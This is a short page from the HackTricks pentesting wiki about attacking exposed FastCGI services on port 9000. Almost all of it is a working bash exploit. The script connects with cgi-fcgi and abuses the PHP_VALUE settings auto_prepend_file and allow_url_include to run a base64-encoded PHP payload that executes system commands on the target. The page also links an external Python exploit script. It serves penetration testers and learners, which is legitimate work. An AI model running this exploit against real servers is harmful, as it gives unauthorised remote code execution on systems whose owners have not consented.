HackTricks
Search…
Pentesting
9000 - Pentesting FastCGI

Basic Information

If you want to learn what is FastCGI check the following page:
By default FastCGI run in port 9000 and isn't recognized by nmap. Usually FastCGI only listen in localhost.

RCE

It's quiet easy to make FastCGI execute arbitrary code:
1
#!/bin/bash
2
3
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
4
FILENAMES="/var/www/public/index.php" # Exisiting file path
5
6
HOST=$1
7
B64=$(echo "$PAYLOAD"|base64)
8
9
for FN in $FILENAMES; do
10
OUTPUT=$(mktemp)
11
env -i \
12
PHP_VALUE="allow_url_include=1"#x27;\n'"allow_url_fopen=1"#x27;\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
13
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
14
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
15
16
cat $OUTPUT
17
done
Copied!
or you can also use the following python script: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
Last modified 10mo ago
Copy link